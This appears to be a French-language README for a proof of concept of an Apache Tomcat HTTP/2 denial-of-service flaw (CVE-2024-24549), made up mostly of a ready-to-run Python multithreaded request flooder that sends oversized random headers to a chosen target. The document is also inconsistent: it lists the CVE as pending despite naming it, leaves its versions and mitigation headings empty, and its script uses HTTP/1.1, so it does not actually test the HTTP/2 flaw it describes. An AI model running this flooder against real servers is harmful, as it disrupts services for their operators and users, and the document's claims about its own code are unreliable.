
Preuve de concept en script Python pour CVE-2024-24549 démontrant le déni de service Apache Tomcat HTTP/2 via des en-têtes surdimensionnés qui épuisent les ressources du serveur.
Voici un README.md pour un Proof of Concept (PoC) démontrant la vulnérabilité de déni de service (DoS) dans Apache Tomcat due à une validation incorrecte des entrées des requêtes HTTP/2 :
Ce dépôt contient un script de Preuve de Concept (PoC) démontrant une vulnérabilité de déni de service (DoS) dans Apache Tomcat. La vulnérabilité provient d'une validation incorrecte des entrées des requêtes HTTP/2, entraînant des conditions potentielles de DoS.
CVE-ID : (En attente)
Vue d'ensemble : Les versions d'Apache Tomcat de 11.0.0-M1 à 11.0.0-M16, de 10.1.0-M1 à 10.1.18, de 9.0.0-M1 à 9.0.85 et de 8.5.0 à 8.5.98 sont vulnérables à une attaque par déni de service. Le problème survient lors du traitement des requêtes HTTP/2 avec des en-têtes dépassant les limites configurées. Le flux HTTP/2 n'est pas réinitialisé tant que tous les en-têtes n'ont pas été traités, ce qui peut entraîner un épuisement des ressources.
Versions affectées :
Atténuations :
Ce script PoC montre comment exploiter la vulnérabilité DoS en envoyant des requêtes HTTP/2 qui dépassent les limites d'en-tête configurées. Le script envoie un grand nombre de requêtes pour épuiser les ressources du serveur.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host sur l'adresse du serveur cible et port sur le port approprié (généralement 443 pour HTTPS). Ajustez num_requests pour contrôler le nombre de requêtes envoyées.Pour atténuer cette vulnérabilité :
Pour plus d'informations sur la sécurisation de votre installation Apache Tomcat, reportez-vous à la documentation officielle Apache Tomcat.
Ce README.md fournit un aperçu de la vulnérabilité, du script PoC et des instructions d'atténuation. Assurez-vous de manipuler ce PoC de manière responsable et uniquement sur des systèmes où vous disposez d'une autorisation explicite.